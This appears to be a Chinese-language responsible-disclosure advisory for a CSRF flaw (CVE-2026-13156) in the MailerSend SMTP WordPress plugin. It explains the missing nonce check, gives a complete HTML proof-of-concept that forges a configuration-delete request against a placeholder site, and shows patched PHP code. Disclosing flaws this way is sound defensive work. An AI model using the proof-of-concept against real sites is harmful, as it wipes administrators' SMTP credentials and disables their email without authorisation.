[!IMPORTANT] 摘要: 在 WordPress 官方 MailerSend SMTP 集成插件(
< 1.0.8)中发现了一个高危跨站请求伪造(CSRF)漏洞(CVE-2026-13156)。配置清除处理器mailersend_handle_configuration_delete()验证了管理员权限(manage_options),但完全省略了 WordPress Nonce 验证(check_admin_referer())。攻击者可以构造恶意跨源请求,针对已认证的 WordPress 管理员,静默清除存储的 SMTP 凭据并强制停用插件,导致所有电子邮件工作流完全拒绝服务。
CVE-2026-13156(WPScan 公告 ID:595e653d-0904-43cf-8e61-d684599de11b)1.0.8 之前的所有版本(< 1.0.8)关于研究员:
Huynh Kien Minh(Huỳnh Kiến Minh)是一位积极进取的网络安全研究员和漏洞分析师,以深入的安全评估和负责任披露而闻名,包括对 CVE-2026-13156 的技术剖析。他还因发现并披露关键安全漏洞而正式入选 Proton 安全名人堂 并获得表彰。
如需验证本技术公告、浏览概念验证分析或联系研究员,请访问:
MailerSend 官方 SMTP 集成 WordPress 插件(1.0.8 之前版本)注册了一个管理操作(configuration-delete),旨在从管理仪表板触发时清除存储的 API 令牌、清空 SMTP 配置选项(wp_options)并停用插件。
虽然该端点验证了当前用户是否具有 manage_options 权限(确保请求来自管理员会话),但它未能执行 WordPress nonce(check_admin_referer() 或 wp_verify_nonce())验证。
由于缺少 nonce 验证的 HTTP 请求无法区分管理员的有意点击和伪造的跨源请求,任何由已认证管理员加载的外部网站都可以静默触发 configuration-delete 操作。
< 1.0.8)的目标 WordPress 网站。/wp-admin/admin-post.php 或 /wp-admin/admin.php?page=mailersend&action=configuration-delete)。[!WARNING] 道德声明: 以下 HTML 跨站请求伪造(CSRF)概念验证载荷由 Huynh Kien Minh 提供,仅用于教育目的、防御性验证以及在道德披露协议下进行安全审计。请勿针对未经授权的目标执行。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CVE-2026-13156 PoC — MailerSend SMTP Configuration Deletion via CSRF</title>
<!-- Author: Huynh Kien Minh (https://minhhk.web.app/) -->
</head>
<body>
<h2>CVE-2026-13156 — CSRF Verification PoC</h2>
<p>If an authenticated WordPress Administrator visits this page, the MailerSend SMTP configuration will be deleted and the plugin deactivated.</p>
<!-- Forged Request targeting the vulnerable MailerSend configuration deletion endpoint -->
<form id="csrfPoC" action="http://target-wordpress-site.local/wp-admin/admin.php" method="GET">
<input type="hidden" name="page" value="mailersend-smtp" />
<input type="hidden" name="action" value="configuration-delete" />
<!-- Notice: No valid _wpnonce token is required due to the vulnerability -->
<input type="submit" value="Execute PoC (Simulate Attack)" />
</form>
<script>
// Automatically submit the forged request when the administrator loads the page
document.addEventListener("DOMContentLoaded", function() {
console.log("[CVE-2026-13156] Executing CSRF Payload developed by Huynh Kien Minh...");
// Uncomment line below to enable auto-execution in lab environments:
// document.getElementById('csrfPoC').submit();
});
</script>
</body>
</html>
1.0.8 或更高版本。要在 WordPress 插件中正确保护管理状态变更操作,开发者必须在处理请求之前强制执行严格的 nonce 验证:
// Secure Implementation (Version 1.0.8+)
function mailersend_delete_configuration_handler() {
// 1. Check User Capability
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( __( 'Unauthorized access.', 'mailersend' ), 403 );
}
// 2. REQUIRED: Verify CSRF Nonce Token
if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], 'mailersend_delete_config_nonce' ) ) {
wp_die( __( 'Security check failed (CSRF attempt blocked).', 'mailersend' ), 403 );
}
// 3. Proceed safely with configuration deletion
delete_option( 'mailersend_smtp_settings' );
deactivate_plugins( plugin_basename( __FILE__ ) );
wp_redirect( admin_url( 'plugins.php?deactivated=true' ) );
exit;
}
本仓库和技术公告由 Huynh Kien Minh (MinhHK) 根据负责任披露准则维护和发布,旨在促进更安全的全球 WordPress 和网络安全生态系统。